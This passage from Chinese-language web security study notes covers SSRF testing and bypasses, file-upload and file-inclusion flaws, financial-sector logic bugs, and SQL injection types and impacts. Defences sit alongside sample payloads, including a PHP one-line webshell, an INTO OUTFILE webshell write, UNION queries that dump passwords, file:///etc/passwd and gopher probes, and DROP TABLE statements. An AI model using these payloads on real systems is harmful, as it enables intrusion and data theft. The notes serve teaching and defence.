随着版本的更新,虽然修复了一些早期的漏洞,但也可能引入新的漏洞。攻击者需要关注 5.0 及以上版本的安全公告,利用新出现的漏洞进行注入攻击。同时,由于版本功能的增强,攻击者可以利用更多的特性进行攻击,攻击手段更加多样化。
20.SSRF漏洞的验证方法
一、基于外部服务探测
1. 利用公网带外探测平台
- 原理:借助专门的带外探测平台(如 Burp Collaborator、ceye.io 等),攻击者构造包含探测平台地址的请求,若服务器向该地址发起请求,平台会记录相关信息,从而证明存在 SSRF 漏洞。
- 操作步骤
-
- 注册平台账号:以 ceye.io 为例,注册账号后获取唯一的域名和 token。
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入 ceye.io 的域名,如
http://yourdomain.ceye.io
。 - 查看记录:在 ceye.io 平台的日志中查看是否有服务器的请求记录,若有则说明存在 SSRF 漏洞。
- 示例代码(以 Python 模拟请求为例)
python
import requests# 假设存在SSRF漏洞的URL和参数
target_url = "http://example.com/vulnerable_page.php"
payload = {"url": "http://yourdomain.ceye.io"
}
response = requests.get(target_url, params=payload)
2. 自建带外探测服务
- 原理:攻击者自己搭建一个简单的 Web 服务,监听特定端口,构造包含该服务地址的请求,若服务器向该地址发起请求,服务会记录相关信息。
- 操作步骤
-
- 搭建服务:使用 Python 的
http.server
模块搭建一个简单的 Web 服务。
- 搭建服务:使用 Python 的
python
import http.server
import socketserverPORT = 8000
Handler = http.server.SimpleHTTPRequestHandlerwith socketserver.TCPServer(("", PORT), Handler) as httpd:print(f"Serving at port {PORT}")httpd.serve_forever()
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入自建服务的地址,如
http://your_ip:8000
。 - 查看记录:观察服务的日志,若有服务器的请求记录,则说明存在 SSRF 漏洞。
二、基于本地服务探测
1. 探测本地回环地址
- 原理:尝试让服务器向本地回环地址(如
127.0.0.1
)发起请求,若能获取到本地服务的响应,说明存在 SSRF 漏洞。 - 操作步骤
-
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入本地回环地址和端口,如
http://127.0.0.1:80
。 - 判断结果:根据服务器的响应判断是否存在漏洞。若服务器返回了本地服务的响应内容,则说明存在 SSRF 漏洞。
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入本地回环地址和端口,如
2. 探测内网地址
- 原理:尝试让服务器向内网地址发起请求,若能获取到内网服务的响应,说明存在 SSRF 漏洞。
- 操作步骤
-
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入内网地址和端口,如
http://192.168.1.100:8080
。 - 判断结果:根据服务器的响应判断是否存在漏洞。若服务器返回了内网服务的响应内容,则说明存在 SSRF 漏洞。
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入内网地址和端口,如
三、基于协议探测
1. 测试不同协议
- 原理:SSRF 漏洞可能支持多种协议,如
file://
、gopher://
、dict://
等,通过构造不同协议的请求,测试服务器是否支持这些协议。 - 操作步骤
-
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入不同协议的地址,如
file:///etc/passwd
(用于测试是否能读取本地文件)、gopher://127.0.0.1:25/_VRFY root
(用于测试 SMTP 服务)。 - 判断结果:根据服务器的响应判断是否存在漏洞。若服务器返回了相应协议的响应内容,则说明存在 SSRF 漏洞。
- 构造请求:在可能存在 SSRF 漏洞的参数处,填入不同协议的地址,如
四、利用自动化工具
1. 使用 SSRFmap
- 原理:SSRFmap 是一款自动化的 SSRF 漏洞检测工具,它可以自动检测多种类型的 SSRF 漏洞,并提供详细的报告。
- 操作步骤
-
- 安装工具:从 GitHub 上下载 SSRFmap 并安装。
- 运行扫描:使用以下命令对目标 URL 进行扫描。
bash
python3 ssrfmap.py -u "http://example.com/vulnerable_page.php?url=" --level 3
- 查看结果:工具会输出扫描结果,显示是否存在 SSRF 漏洞以及漏洞的详细信息。
注意事项
- 合法性:在进行漏洞验证时,必须获得目标系统所有者的授权,否则可能会触犯法律。
- 风险控制:验证过程中可能会对目标系统造成一定的影响,如触发 DoS 攻击等,因此需要谨慎操作。
21.SSRF漏洞的成因、防御、绕过
SSRF 漏洞的成因
1. 服务器端功能设计缺陷
- URL 处理逻辑:许多 Web 应用程序需要从外部获取资源,如图片、文件等。在实现这些功能时,服务器端代码可能会直接使用用户提供的 URL 进行请求,而没有对 URL 进行严格的验证和过滤。例如,一个图片展示功能,允许用户输入图片的 URL,服务器直接根据该 URL 去获取图片,若用户输入恶意 URL,就可能引发 SSRF 漏洞。
- 盲目信任用户输入:部分开发者认为用户输入的 URL 只会指向合法的外部资源,没有考虑到用户可能会构造指向内部网络的 URL。如一些网站的分享功能,允许用户输入链接,服务器会自动抓取链接内容进行预览,若未对输入的链接进行限制,攻击者就可以利用该功能访问内部服务。
2. 未对请求进行限制
- 缺乏协议限制:服务器在处理用户提供的 URL 时,可能支持多种协议,如
http://
、https://
、file://
、gopher://
、dict://
等。如果没有对允许的协议进行限制,攻击者可以利用一些特殊协议来执行恶意操作,如使用file://
协议读取服务器本地文件,使用gopher://
协议攻击内部服务。 - 未限制访问范围:服务器没有对请求的目标地址进行限制,允许访问内部网络地址(如
127.0.0.1
、192.168.x.x
等)。攻击者可以利用这一点,通过构造指向内部网络的 URL,绕过外部网络的访问控制,访问内部敏感服务。
SSRF 漏洞的防御
1. 输入验证和过滤
- 白名单机制:在服务器端设置一个允许访问的 URL 白名单,只允许访问白名单内的域名或 IP 地址。例如,在代码中配置只允许访问特定的图片存储服务器地址,拒绝其他所有地址的请求。以下是 Python 示例代码:
python
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']def validate_url(url):from urllib.parse import urlparseparsed_url = urlparse(url)domain = parsed_url.netlocreturn domain in ALLOWED_DOMAINS
- 协议限制:明确指定允许使用的协议,如只允许
http://
和https://
协议,禁止使用file://
、gopher://
等危险协议。在处理用户输入的 URL 时,检查其协议是否合法。示例代码如下:
python
ALLOWED_PROTOCOLS = ['http', 'https']def validate_protocol(url):from urllib.parse import urlparseparsed_url = urlparse(url)protocol = parsed_url.schemereturn protocol in ALLOWED_PROTOCOLS
2. 限制访问范围
- 禁止访问内部网络地址:在服务器端代码中,对用户输入的 URL 进行检查,判断其是否指向内部网络地址。可以通过 IP 地址范围判断或使用反向 DNS 解析来验证。例如,使用 Python 的
ipaddress
模块来判断 IP 地址是否为私有地址:
python
import ipaddressdef is_private_ip(ip):try:ip_obj = ipaddress.ip_address(ip)return ip_obj.is_privateexcept ValueError:return False
- 使用代理服务器:通过代理服务器来转发请求,代理服务器可以对请求进行更严格的控制和过滤。可以配置代理服务器只允许访问外部网络,禁止访问内部网络。
3. 减少信息泄露
- 错误处理:在服务器端处理请求时,避免返回详细的错误信息。如果服务器在请求失败时返回详细的错误信息,攻击者可以利用这些信息来判断内部网络的结构和服务状态。例如,将错误信息统一处理为 “请求失败,请稍后重试”。
SSRF 漏洞的绕过
1. 绕过 URL 过滤
- IP 地址变形:通过对 IP 地址进行变形,绕过对域名或 IP 地址的过滤。例如,将 IP 地址转换为十进制、八进制或十六进制表示。
127.0.0.1
可以表示为2130706433
(十进制)、0177.0000.0000.0001
(八进制)、0x7F.0x00.0x00.0x01
(十六进制)。 - DNS 解析绕过:利用 DNS 解析的特性,如使用动态 DNS 服务或 DNS 预解析。攻击者可以注册一个与白名单域名相似的域名,通过 DNS 解析将其指向内部网络地址。
2. 绕过协议限制
- 协议嵌套:通过协议嵌套的方式绕过协议限制。例如,在
http://
协议中嵌套gopher://
协议,让服务器在处理http://
请求时,间接执行gopher://
协议的操作。 - 利用协议特性:某些协议可能存在一些特殊的语法或特性,可以利用这些特性来绕过协议限制。例如,在
http://
协议中使用@
符号来指定用户名和密码,攻击者可以利用这个特性构造特殊的 URL。
3. 绕过 IP 地址限制
- 使用内网 IP 的别名:有些内部网络可能会为 IP 地址设置别名,攻击者可以通过使用这些别名来绕过对 IP 地址的限制。
- 利用中间人攻击:攻击者可以在外部网络和内部网络之间建立一个中间人代理,将请求转发到内部网络,绕过对 IP 地址的访问限制。
22.文件上传漏洞原理
一、漏洞成因
文件上传漏洞的核心是服务器对用户上传的文件缺乏有效验证或过滤,导致攻击者能够上传恶意文件(如脚本、可执行程序等),并通过服务器执行这些文件,从而控制服务器或窃取数据。具体成因包括:
1. 客户端验证绕过
- 仅依赖前端验证:部分开发者仅通过 JavaScript 在客户端验证文件类型(如检查扩展名、大小),但攻击者可通过禁用 JavaScript、修改请求包(如 Burp Suite 抓包修改)直接绕过前端限制,上传任意文件。
- 示例:前端检查文件扩展名为
.jpg
,但攻击者可直接上传.php
文件并修改请求中的文件名。
2. 服务器端验证不严格
- 扩展名检查不彻底:
-
- 仅检查扩展名后缀(如
.php
),但攻击者可利用双扩展名(如.php.jpg
,部分服务器默认使用第一个扩展名解析)、大小写混淆(如.PhP
)或特殊符号(如.php.
、.php空格
)绕过。 - 未检查文件的实际内容(如文件头、MIME 类型),例如上传一个内容为 PHP 代码但扩展名为
.jpg
的文件。
- 仅检查扩展名后缀(如
- 路径拼接漏洞:服务器在处理上传文件路径时,未对用户输入进行过滤,导致攻击者通过
../
目录遍历将文件上传到可执行目录(如 Web 根目录/var/www/html/
)。 - 解析漏洞:
-
- Web 服务器解析漏洞:例如 IIS 6.0 对
*.asp
目录下的文件默认解析为 ASP 脚本,或*.php5
、*.phtml
等扩展名可能被当作 PHP 执行;Apache 通过.htaccess
文件自定义解析规则,若允许用户上传此类文件,可篡改解析逻辑。 - 编程语言漏洞:如 PHP 的
auto_prepend_file
配置、文件包含函数(include()
、require()
)未限制路径,导致上传的恶意文件被动态包含执行。
- Web 服务器解析漏洞:例如 IIS 6.0 对
3. 文件处理逻辑缺陷
- 上传目录可执行:若服务器将文件直接上传到 Web 服务器的可执行目录(如网站根目录),且未限制文件执行权限,攻击者上传的脚本可直接通过 URL 访问执行(如
http://example.com/uploads/malicious.php
)。 - 文件名可控:攻击者可指定上传文件名为
shell.php
,或利用服务器逻辑漏洞(如未随机生成文件名)预测文件路径。
二、核心攻击逻辑
- 上传恶意文件:攻击者构造包含恶意代码的文件(如 PHP 一句话木马
<?php eval($_POST['cmd']); ?>
,扩展名为.php
或绕过检查的扩展名)。 - 触发文件执行:通过 Web 服务器访问上传的文件(如
http://example.com/upload/shell.php
),或利用文件包含漏洞(如?file=upload/shell.php
)执行文件。 - 获取服务器权限:恶意脚本运行后,可读取敏感文件、写入系统文件、反弹 Shell,甚至控制服务器或内网其他设备。
三、常见攻击场景
- 上传 Webshell:通过一句话木马或功能更复杂的 Webshell(如中国菜刀、蚁剑),远程控制服务器,执行系统命令(如
ls
、cat /etc/passwd
)、上传下载文件、修改网站内容等。 - 文件包含漏洞配合:若服务器存在文件包含漏洞(如
include($_GET['path'])
),即使上传目录不可直接访问,攻击者也可通过包含路径执行恶意文件(如?path=../upload/shell.php
)。 - 跨站脚本(XSS):上传包含恶意 JS 代码的图片或 HTML 文件(若服务器解析 HTML),诱导用户访问时触发 XSS 攻击。
- 病毒与钓鱼:上传病毒文件(如
.exe
)或钓鱼文档,诱骗用户下载执行。
四、防御措施
- 严格的服务器端验证:
-
- 白名单校验:仅允许上传明确允许的文件类型(如图片仅限
.jpg
/.png
,文档仅限.pdf
),通过文件头(Magic Number)和 MIME 类型双重验证(而非仅扩展名)。 - 示例(PHP 检查文件头):php
- 白名单校验:仅允许上传明确允许的文件类型(如图片仅限
$fileContent = file_get_contents($_FILES['file']['tmp_name']);
$magicNumber = substr($fileContent, 0, 2);
if ($magicNumber !== "\xFF\xD8") { // 图片文件头(JPEG) die("非法文件类型");
}
- 限制上传目录权限:
-
- 将上传目录设置为不可执行(如 Nginx 中配置禁止解析
.php
等脚本文件),或存储在 Web 根目录外(如/var/upload/
,无法通过 URL 直接访问)。
- 将上传目录设置为不可执行(如 Nginx 中配置禁止解析
- 随机化文件名:
-
- 上传时自动生成随机文件名(如 UUID),避免攻击者预测路径(如
123.php
变为a1b2c3d4.php
)。
- 上传时自动生成随机文件名(如 UUID),避免攻击者预测路径(如
- 实时扫描与过滤:
-
- 使用杀毒软件或 WAF(Web 应用防火墙)对上传文件进行病毒扫描,阻断包含恶意代码的文件。
- 禁用危险函数与配置:
-
- 禁用 PHP 中的危险函数(如
eval()
、system()
),或通过open_basedir
限制文件操作范围;关闭 Web 服务器的不安全解析规则(如 IIS 的asp.dll
映射、Apache 的.htaccess
写入权限)。
- 禁用 PHP 中的危险函数(如
五、总结
文件上传漏洞的本质是信任用户输入且未对文件进行有效管控。防御的核心在于服务器端的严格校验(内容而非扩展名)、限制执行权限和安全的文件存储逻辑。攻击者利用各种绕过技巧(如解析漏洞、目录遍历)突破验证,最终实现代码执行,因此需从验证逻辑、服务器配置、权限控制等多维度进行防护。
23.导致文件包含的函数
在不同的编程语言和环境中,存在一些可能导致文件包含漏洞的函数,以下是几种常见语言中这类函数的介绍:
PHP
PHP 中有多个函数可以实现文件包含功能,若使用不当,容易引发文件包含漏洞。
include()
:当使用include()
函数包含文件时,如果包含的文件不存在,会产生一个警告(E_WARNING),但脚本会继续执行。
php
<?php
include('example.php');
?>
require()
:与include()
类似,但当包含的文件不存在时,会产生一个致命错误(E_COMPILE_ERROR),脚本会停止执行。
php
<?php
require('example.php');
?>
include_once()
:和include()
功能相同,不过它会先检查文件是否已经被包含过,如果已经包含,则不会再次包含,避免重复包含同一文件导致的问题。
php
<?php
include_once('example.php');
?>
require_once()
:和require()
功能类似,同样会先检查文件是否已经被包含过,若已包含则不再重复包含。
php
<?php
require_once('example.php');
?>
Python
Python 中虽然没有像 PHP 那样专门用于文件包含的函数,但在使用 exec()
、eval()
等执行代码的函数,以及一些动态导入模块的方法时,如果处理不当,也可能导致类似文件包含的安全问题。
exec()
:可以执行存储在字符串或文件对象中的 Python 代码。如果这个字符串或文件对象的内容来自用户输入且未经过严格验证,就可能执行恶意代码。
python
file_content = open('example.py', 'r').read()
exec(file_content)
importlib.import_module()
:用于动态导入模块,如果导入的模块名可以被用户控制,可能会导致恶意模块被导入并执行。
python
import importlib
module_name = 'example_module'
module = importlib.import_module(module_name)
Java
在 Java 中,使用 ClassLoader
加载类文件或资源文件时,如果没有对输入进行严格的验证和过滤,也可能存在安全风险。
ClassLoader.loadClass()
:用于动态加载类,如果类名可以被用户控制,可能会加载恶意类。
java
import java.lang.ClassLoader;public class Main {public static void main(String[] args) throws ClassNotFoundException {ClassLoader classLoader = Main.class.getClassLoader();String className = "example.ExampleClass";Class<?> clazz = classLoader.loadClass(className);}
}
getResourceAsStream()
:用于获取资源文件的输入流,如果资源文件的路径可以被用户控制,可能会读取到敏感文件。
java
import java.io.InputStream;public class Main {public static void main(String[] args) {InputStream inputStream = Main.class.getResourceAsStream("/example.properties");}
}
Ruby
Ruby 中的 require
和 load
函数用于加载文件,如果对用户输入的文件名没有进行严格验证,可能会导致文件包含漏洞。
require
:用于加载 Ruby 脚本文件,加载后会自动记录已加载的文件,避免重复加载。
ruby
require 'example.rb'
load
:与require
类似,但每次调用都会重新加载文件。
ruby
load 'example.rb'
这些函数本身是为了方便代码复用和模块化设计,但在使用时需要对输入进行严格的验证和过滤,避免因用户输入的恶意文件名或路径导致文件包含漏洞。
24.金融行业常见的逻辑漏洞
金融行业涉及资金交易、账户管理、风险控制等核心业务,逻辑漏洞可能导致资金损失、数据篡改、权限滥用等严重后果。以下是金融行业常见的逻辑漏洞类型及其表现形式、危害和防御思路:
一、交易与支付逻辑漏洞
1. 金额篡改漏洞
- 场景:
客户端(如 APP/H5)向服务端提交交易金额时,未对金额进行严格校验,攻击者通过篡改请求参数(如 HTTP 请求中的金额字段),将交易金额修改为极小值(如 0.01 元)或负数(恶意退款)。
示例:支付时修改订单金额为 0 元完成支付,或伪造退款请求篡改退款金额。 - 危害:直接导致资金损失,破坏交易完整性。
- 防御:
-
- 交易金额校验逻辑必须在服务端完成,禁止依赖客户端数据。
- 对关键参数(金额、订单号、用户 ID)进行签名验证(如 HMAC),防止篡改。
- 使用业务闭环校验(如订单金额与支付金额匹配、账户余额足够)。
2. 重复提交漏洞
- 场景:
未对交易请求做唯一性校验(如未生成唯一的交易流水号或未校验请求重复),攻击者通过重放请求(如 Burp Suite 抓包重放)重复执行同一操作(如多次支付、多次提现)。
示例:用户支付时网络卡顿,点击多次提交,服务端未防重放,导致多次扣款。 - 危害:资金被重复扣除或提现,影响账户余额一致性。
- 防御:
-
- 为每个请求生成唯一的防重放令牌(如 UUID),并在服务端记录已处理的令牌,拒绝重复请求。
- 对关键操作(支付、提现)添加时间戳校验和请求频率限制。
3. 越权交易漏洞
- 场景:
权限校验不严格,攻击者通过修改请求参数(如用户 ID、账户号),操作他人账户(如转账到自己账户、查询他人交易记录)。
示例:转账接口中,用户 A 将请求中的目标账户 ID 改为用户 B 的账户,服务端未校验转账权限,导致资金被转移。 - 危害:用户资金被盗取,数据隐私泄露。
- 防御:
-
- 服务端强制校验操作权限(如转账时必须验证发起账户与登录用户的绑定关系)。
- 对用户敏感操作(如修改账户、转账)增加二次认证(短信验证码、指纹、U 盾)。
二、账户与权限逻辑漏洞
1. 弱密码重置漏洞
- 场景:
密码找回流程中,验证机制薄弱(如仅通过用户名 + 短信验证码,且短信验证码可被拦截或伪造),或验证问题答案可枚举(如 “母亲姓名” 为公开信息)。
示例:攻击者通过社工手段获取用户注册手机号,伪造短信验证码重置密码,登录账户。 - 危害:账户控制权丢失,进一步导致资金被盗。
- 防御:
-
- 密码重置需多重验证(如旧密码、短信 + 邮箱验证码、人脸识别)。
- 限制验证码错误尝试次数(如 5 次错误后锁定账户),验证码设置短有效期(如 5 分钟)。
2. 会话管理漏洞
- 场景:
会话令牌(如 JWT、Cookie)生成规则可预测,或未及时失效(如用户注销后令牌仍有效),攻击者利用令牌劫持会话,冒充用户操作。
示例:通过中间人攻击获取用户 Cookie,直接登录账户进行转账。 - 危害:账户被非法控制,数据泄露或资金损失。
- 防御:
-
- 使用随机且足够长度的会话令牌,定期强制更新令牌(如 30 分钟重新认证)。
- 启用 HTTPS 加密传输,防止令牌被嗅探;登录后禁止重用注册 / 找回密码的临时令牌。
3. 批量操作漏洞
- 场景:
批量操作(如批量转账、批量查询)未限制操作规模或未校验操作对象合法性,攻击者通过构造大量请求耗尽资源或获取敏感数据。
示例:通过批量转账接口向多个账户转账,绕过单日额度限制;或批量查询用户账户余额,导致数据泄露。 - 危害:系统性能受损,敏感数据批量泄露。
- 防御:
-
- 限制单次批量操作的最大数量(如单次转账不超过 50 笔),设置单日操作总额度。
- 对批量操作中的每个对象进行权限校验(如转账目标账户必须为用户本人绑定的账户)。
三、业务规则与风控漏洞
1. 薅羊毛与套利漏洞
- 场景:
营销活动(如优惠券、积分、新用户奖励)规则设计不严谨,攻击者利用逻辑缺陷无限领取奖励(如通过修改请求参数绕过 “新用户” 限制,或利用多账户注册漏洞批量刷奖)。
示例:某银行新用户注册送 50 元红包,攻击者通过虚拟手机号批量注册,获取大量红包套现。 - 危害:营销成本失控,资金被非法套取。
- 防御:
-
- 对活动参与条件增加多维度校验(设备指纹、IP 地址、用户实名信息)。
- 限制单个用户 / 设备 / IP 的参与次数,引入验证码或人机识别(如 CAPTCHA)。
2. 风险控制绕过漏洞
- 场景:
反欺诈规则存在漏洞(如仅校验单笔交易金额,未校验单日累计金额;或黑白名单机制可被绕过),攻击者通过拆分交易、伪造交易场景规避风控。
示例:单日转账限额 5 万元,攻击者分 10 次转账,每次 4.9 万元,绕过总额限制。 - 危害:高风险交易被放行,增加资金损失风险。
- 防御:
-
- 设计多维度风控规则(金额、频率、设备、地理位置、历史行为),实时监控异常模式。
- 引入机器学习模型动态识别欺诈行为,避免硬编码规则被绕过。
3. 数据校验不完整漏洞
- 场景:
对用户输入的关键数据(如银行卡号、身份证号)未做格式校验或合法性校验,攻击者提交恶意数据导致系统异常(如注入攻击、拒绝服务)。
示例:在银行卡号字段中输入 SQL 注入语句,导致数据库信息泄露。 - 危害:系统遭受攻击,数据完整性被破坏。
- 防御:
-
- 对所有用户输入进行严格校验(格式、长度、正则匹配),禁止信任客户端校验结果。
- 使用白名单机制(如仅允许数字、字母和特定符号),过滤非法字符。
四、第三方接口与依赖漏洞
1. 接口权限漏洞
- 场景:
第三方支付接口、征信接口、短信网关等未做好身份验证和权限控制,攻击者伪造请求调用接口(如模拟支付回调通知、伪造征信查询)。
示例:伪造支付成功的回调通知,欺骗金融系统释放商品或资金。 - 危害:接口被恶意利用,导致业务逻辑混乱。
- 防御:
-
- 对第三方接口使用密钥(API Key)+ 签名(如 HMAC-SHA256)进行双向认证。
- 限制接口调用频率,记录调用日志并实时监控异常请求。
2. 依赖组件漏洞
- 场景:
使用的开源组件(如支付 SDK、日志框架)存在已知逻辑漏洞(如未校验响应数据的完整性),攻击者利用组件缺陷绕过业务逻辑。
示例:某支付 SDK 未校验退款响应中的签名,攻击者伪造退款成功响应,骗取系统退款。 - 危害:漏洞利用成本低,影响范围广。
- 防御:
-
- 定期更新依赖组件,使用漏洞扫描工具(如 OWASP Dependency-Check)检测风险。
- 对第三方组件的输出结果进行二次校验(如金额、状态码、签名)。
五、逻辑漏洞的防御核心思路
- 服务端严格校验:所有业务逻辑(尤其是资金、权限相关)必须在服务端实现,禁止依赖客户端校验。
- 最小权限原则:用户操作需匹配其权限,敏感操作(转账、修改账户)必须多重验证。
- 防重放与唯一性:使用令牌、时间戳、流水号防止请求重复提交和篡改。
- 业务闭环验证:确保操作的完整性(如订单与支付匹配、账户余额与操作一致)。
- 风险监控与审计:实时监控异常操作(高频交易、跨地域登录),记录完整日志以便溯源。
- 漏洞测试与修复:通过渗透测试、业务逻辑审计(如使用 OWASP ZAP、Burp Suite)发现潜在漏洞,定期进行红蓝对抗演练。
总结
金融行业的逻辑漏洞往往隐藏在复杂的业务流程中,需结合具体场景(如支付、账户、营销)进行针对性分析。防御的关键在于打破 “信任客户端输入” 的假设,将安全校验逻辑下沉到服务端,并通过多重验证、权限控制、实时风控构建防御体系。同时,持续的安全测试和应急响应机制是减少漏洞风险的重要保障。
编辑
分享
金融行业的逻辑漏洞可能带来哪些后果?
如何防范金融行业的逻辑漏洞?
有哪些工具可以帮助检测金融行业的逻辑漏洞?
25.SQL注入种类
SQL 注入是一种常见的 Web 安全漏洞,攻击者通过在应用程序的输入字段中注入恶意的 SQL 代码,来干扰或控制数据库的操作。以下是常见的 SQL 注入种类:
基于注入数据类型分类
数字型注入
- 原理:当应用程序将用户输入的数据作为数字类型拼接到 SQL 语句中时,攻击者可以利用这一点注入恶意的 SQL 代码。由于数字型输入通常不需要引号来界定,因此注入相对简单。
- 示例:假设存在一个 SQL 查询语句
SELECT * FROM users WHERE id = $input
,其中$input
是用户输入的 ID。攻击者可以输入1 OR 1=1
,最终的 SQL 语句变为SELECT * FROM users WHERE id = 1 OR 1=1
,这样就会返回表中的所有记录。
字符型注入
- 原理:当用户输入的数据被作为字符串类型拼接到 SQL 语句中时,需要用引号来界定字符串。攻击者可以通过闭合引号,注入额外的 SQL 代码。
- 示例:假设 SQL 查询语句为
SELECT * FROM users WHERE username = '$input'
,攻击者输入' OR '1'='1
,最终的 SQL 语句变为SELECT * FROM users WHERE username = '' OR '1'='1'
,同样会返回表中的所有记录。
搜索型注入
- 原理:在搜索功能中,用户输入的关键词会被用于模糊查询。攻击者可以利用模糊查询的特性注入恶意代码。
- 示例:假设 SQL 查询语句为
SELECT * FROM products WHERE name LIKE '%$input%'
,攻击者输入%' OR 1=1 --
,最终的 SQL 语句变为SELECT * FROM products WHERE name LIKE '%' OR 1=1 --%'
,--
是 SQL 注释符,会注释掉后面的内容,这样就会返回所有产品记录。
基于注入方式分类
联合查询注入
- 原理:攻击者利用
UNION
关键字将自己构造的查询语句与原查询语句联合起来,从而获取数据库中的其他信息。使用UNION
注入的前提是两个查询的列数和数据类型要匹配。 - 示例:假设原查询语句为
SELECT id, username FROM users WHERE id = 1
,攻击者可以注入1 UNION SELECT database(), user()
,最终的 SQL 语句变为SELECT id, username FROM users WHERE id = 1 UNION SELECT database(), user()
,这样就可以获取当前数据库名和数据库用户信息。
报错注入
- 原理:当数据库执行包含错误信息的 SQL 语句时,会返回详细的错误信息。攻击者可以利用一些特定的函数(如
UPDATEXML()
、EXTRACTVALUE()
等)构造错误的 SQL 语句,通过错误信息获取数据库中的数据。 - 示例:使用
UPDATEXML()
函数进行报错注入,构造注入语句1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)
,当执行该语句时,会因为UPDATEXML()
函数的参数不合法而产生错误,错误信息中会包含SELECT user()
的查询结果,攻击者可以通过这种方式获取数据库用户信息。
盲注
- 原理:当目标网站没有直接回显 SQL 执行的结果时,攻击者通过构造特定的 SQL 语句,利用页面的状态变化(如页面是否正常返回、响应时间长短等)来间接推断数据库中的信息。盲注通常分为布尔盲注和时间盲注。
- 布尔盲注示例:假设目标 URL 为
http://example.com/login.php?username=admin
,攻击者可以构造测试语句http://example.com/login.php?username=admin' AND 1=1--
和http://example.com/login.php?username=admin' AND 1=2--
,若第一条返回正常页面,第二条返回异常页面,说明存在布尔盲注漏洞,攻击者可以通过不断构造条件语句来推断数据库中的信息。 - 时间盲注示例:构造注入语句
admin' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--
,若数据库名长度为 8,会延迟 5 秒返回页面,否则立即返回,攻击者可以通过测量响应时间来判断条件是否成立,从而推断数据库中的信息。
基于注入目标分类
系统表注入
- 原理:攻击者通过注入 SQL 语句,查询数据库的系统表(如 MySQL 的
information_schema
数据库中的表),获取数据库的结构信息,如数据库名、表名、列名等。 - 示例:使用
SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name'
可以获取指定数据库中的所有表名。
敏感数据注入
- 原理:攻击者的目标是获取数据库中的敏感数据,如用户的账号密码、身份证号等。通过构造合适的注入语句,直接从相应的表中查询敏感数据。
- 示例:假设存在一个用户表
users
,包含username
和password
列,攻击者可以注入1 UNION SELECT username, password FROM users
来获取所有用户的账号和密码。
26.SQL注入能做甚麽
SQL 注入(SQL Injection)是一种通过在应用程序的输入字段中插入恶意 SQL 代码,从而操控数据库执行非预期操作的攻击方式。其危害广泛且严重,攻击者利用该漏洞可实现以下多种恶意行为:
一、数据窃取与信息收集
- 获取敏感数据
-
- 直接查询数据库中的用户表、订单表、财务表等,窃取用户账号密码、身份证号、银行卡信息、交易记录等敏感数据。
示例:通过联合查询注入UNION SELECT username, password FROM users
,获取所有用户的账号密码。 - 利用盲注(布尔盲注 / 时间盲注),通过条件判断逐位推断数据(如数据库名、表名、列名、字段值)。
- 直接查询数据库中的用户表、订单表、财务表等,窃取用户账号密码、身份证号、银行卡信息、交易记录等敏感数据。
- 获取数据库结构信息
-
- 查询数据库系统表(如 MySQL 的
information_schema
、SQL Server 的sys.tables
),获取数据库名、表名、列名等元数据,为进一步攻击铺路。
示例:SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE()
获取当前数据库所有表名。
- 查询数据库系统表(如 MySQL 的
二、操控数据库操作
- 增删改数据
-
- 插入数据:向数据库中插入恶意数据(如伪造用户、虚假交易记录)。
示例:INSERT INTO users (username, password) VALUES ('hacker', 'hack123')
。 - 修改数据:篡改用户信息、交易金额等(如将用户余额改为 0,或给自己的账户充值)。
示例:UPDATE users SET balance = 1000000 WHERE username = 'admin'
。 - 删除数据:删除表或清空数据,造成数据丢失或服务中断(如
DROP TABLE users
)。
- 插入数据:向数据库中插入恶意数据(如伪造用户、虚假交易记录)。
- 绕过认证与会话劫持
-
- 在登录接口注入
' OR 1=1 --
,使 SQL 语句恒成立,直接以任意用户(如管理员)身份绕过登录验证。 - 获取用户会话令牌(如 Cookie),劫持用户会话,冒充用户执行操作(如转账、修改密码)。
- 在登录接口注入
三、提升权限与控制服务器
- 获取数据库权限
-
- 若数据库用户权限较高(如拥有
SUPER
、DBA
权限),可进一步执行危险操作:
- 若数据库用户权限较高(如拥有
-
-
- 创建新用户并赋予管理员权限(如
CREATE USER 'hacker'@'%' IDENTIFIED BY 'hack' WITH GRANT OPTION
)。 - 启用数据库扩展功能(如 MySQL 的
LOAD DATA INFILE
读取服务器文件,或UDF
自定义函数执行系统命令)。
- 创建新用户并赋予管理员权限(如
-
- 攻击服务器底层系统
-
- 文件读写:通过数据库函数读取服务器文件(如
LOAD DATA INFILE '/etc/passwd'
)或写入恶意文件(如 Webshell,SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'
)。 - 执行系统命令:利用数据库与操作系统的交互功能(如 SQL Server 的
xp_cmdshell
、MySQL 的system
函数),直接在服务器上执行命令(如反弹 Shell、下载恶意软件)。
- 文件读写:通过数据库函数读取服务器文件(如
四、破坏与拒绝服务(DoS)
- 数据破坏
-
- 恶意删除关键表(
DROP TABLE orders
)或清空数据(TRUNCATE TABLE users
),导致业务瘫痪。 - 插入大量垃圾数据,占用数据库存储空间,影响性能。
- 恶意删除关键表(
- 拒绝服务攻击
-
- 构造复杂或大量无效查询,消耗数据库资源,导致服务器响应缓慢或崩溃(如
SELECT * FROM users WHERE id = -1 UNION SELECT NULL, NULL FROM users LIMIT 1000000
)。
- 构造复杂或大量无效查询,消耗数据库资源,导致服务器响应缓慢或崩溃(如
五、其他高级攻击
- 钓鱼与页面篡改
-
- 修改数据库中存储的网页内容(如将登录页面重定向到钓鱼网站),欺骗用户提交敏感信息。
- 篡改用户发布的内容(如论坛帖子、商品描述),传播恶意信息。
- 横向渗透
-
- 若数据库与其他系统(如内部 API、第三方服务)共享权限,攻击者可通过数据库作为跳板,进一步渗透到其他服务器或系统。
总结
SQL 注入的危害从数据窃取到服务器控制,覆盖范围极广,具体取决于数据库的权限、应用逻辑和服务器配置。防御的核心在于避免将用户输入直接拼接到 SQL 语句中,需使用参数化查询、输入过滤、最小权限原则等技术和策略。
27.文件上传漏洞绕过方法
